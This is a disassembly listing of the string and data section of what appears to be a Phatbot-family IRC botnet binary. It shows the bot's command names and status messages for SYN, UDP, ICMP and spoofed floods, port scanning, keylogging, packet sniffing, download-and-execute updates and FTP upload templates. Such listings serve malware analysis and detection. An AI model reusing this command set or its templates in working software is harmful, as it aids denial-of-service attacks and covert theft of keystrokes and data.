; sub_401ACD+7C48o
unk_42A42C db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo
align 4
dword_42A454 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7074o
dd 25203A29h, 73h
dword_42A470 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7005o
dd 203A2973h, 7325h
dword_42A48C dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FAAo
dword_42A494 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F7Ao
dd 203A2973h, 7325h
dword_42A4B0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4BC dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECFo
; sub_401ACD+6F58o ...
dword_42A4C4 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E96o
dword_42A4CC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A508 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E16o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+6D86o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A570 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Bo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408746o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_42A5D8 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Eo
dd 7325h
dword_42A5F0 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408674o
dword_42A604 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B63o
; sub_401ACD+6C15o ...
dword_42A614 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A65C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A698 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Bo
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o
align 10h
dword_42A6D0 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6981o
dd 7325203Ah, 0
unk_42A6EC db 2Dh ; - ; DATA XREF: sub_401ACD+6976o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 10h
unk_42A710 db 2Dh ; - ; DATA XREF: sub_401ACD+68DCo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A74C db 2Dh ; - ; DATA XREF: sub_401ACD+6866o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A77C dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co
; sub_401ACD:loc_409367o
unk_42A788 db 2Dh ; - ; DATA XREF: sub_401ACD+678Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A7AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A81C db 2Dh ; - ; DATA XREF: sub_401ACD+66EEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A848 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A884 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FCo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A8B4 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A8EC db 2Dh ; - ; DATA XREF: sub_401ACD+6514o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A91C db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A954 db 2Dh ; - ; DATA XREF: sub_401ACD+641Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A9BC db 2Dh ; - ; DATA XREF: sub_401ACD+6333o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A9F8 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42AA38 db 2Dh ; - ; DATA XREF: sub_401ACD+624Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42AA64 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42AAA8 db 2Dh ; - ; DATA XREF: sub_401ACD+610Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE4 db 2Dh ; - ; DATA XREF: sub_401ACD+6010o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 10h
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o
align 10h
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o
align 10h
dword_42AB40 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o
; sub_401ACD+715Bo
unk_42AB4C db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42AB88 db 2Dh ; - ; DATA XREF: sub_401ACD+5D20o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42ABD8 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o
; sub_401ACD+607Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401ACD+5C1Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42AC78 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 4
unk_42ACAC db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 10h
unk_42ACE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F4o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 10h
unk_42AD10 db 2Dh ; - ; DATA XREF: sub_401ACD+5920o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A9o
; ___:00411C62o
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 10h
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo
align 4
unk_42ADA8 db 2Dh ; - ; DATA XREF: sub_401ACD+57F5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42ADE8 db 2Dh ; - ; DATA XREF: sub_401ACD+5798o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE20 db 2Dh ; - ; DATA XREF: sub_401ACD+572Do
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AE68 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42AE9C db 2Dh ; - ; DATA XREF: sub_401ACD+5648o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 10h
unk_42AED0 db 2Dh ; - ; DATA XREF: sub_401ACD+5624o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AF08 db 2Dh ; - ; DATA XREF: sub_401ACD+5582o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
align 4
unk_42AF5C db 2Dh ; - ; DATA XREF: sub_401ACD+5550o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42AF94 db 2Dh ; - ; DATA XREF: sub_401ACD+54E1o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42AFDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406F00o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42B014 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42B04C db 2Dh ; - ; DATA XREF: sub_401ACD+53AFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 10h
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o
unk_42B090 db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o
align 10h
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do
unk_42B0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+51FEo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo
align 10h
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o
align 10h
aP: ; DATA XREF: sub_401ACD+505Ao
; ___:00438308o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo
aU: ; DATA XREF: sub_401ACD+4FE7o
; ___:00438300o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o
align 4
aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o
align 4
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo
align 4
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao
align 4
dword_42B218 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B254 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBEo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o
; sub_401ACD+52BEo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o
; sub_412B09:loc_412C35o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_412B09:loc_412C19o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o
; sub_412B09+F1o
align 4
aC: ; DATA XREF: sub_401ACD+4BCDo
; ___:00438338o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao
align 4
aE: ; DATA XREF: sub_401ACD+4B03o
; ___:004382F0o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o
align 4
aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o
align 10h
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o
; sub_401ACD+6BE8o
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o
align 10h
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o
align 10h
aM: ; DATA XREF: sub_401ACD+4909o
; ___:00438348o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o
align 10h
aA: ; DATA XREF: sub_401ACD+48ADo
; ___:0043830Co
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao
align 4
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o
unk_42B428 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B444 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Fo
; sub_409B13+5F0o
align 10h
unk_42B470 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 10h
unk_42B490 db 2Dh ; - ; DATA XREF: sub_401ACD+4748o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B4B0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 10h
unk_42B4D0 db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o
align 10h
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o
align 4
unk_42B518 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B538 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo
align 4
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o
dword_42B5A0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42B5DC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44DAo
aKeyLoggerActiv db '- Key logger active.',0
align 10h
dword_42B600 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o
aAlreadyRunning db '- Already running.',0
align 10h
dword_42B620 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42B64C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o
align 10h
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o
align 4
dword_42B698 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42B6B8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B6F0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B724 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4345o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 10h
dword_42B750 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o
aAlreadyRunni_0 db '- Already running.',0
align 10h
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o
align 4
unk_42B778 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B7A8 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B824 db 2Dh ; - ; DATA XREF: sub_401ACD+424Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o
dword_42B87C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B8A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42B8E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 10h
dword_42B920 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FCo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 10h
dword_42B950 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o
aAlreadyRunni_2 db '- Already running.',0
align 10h
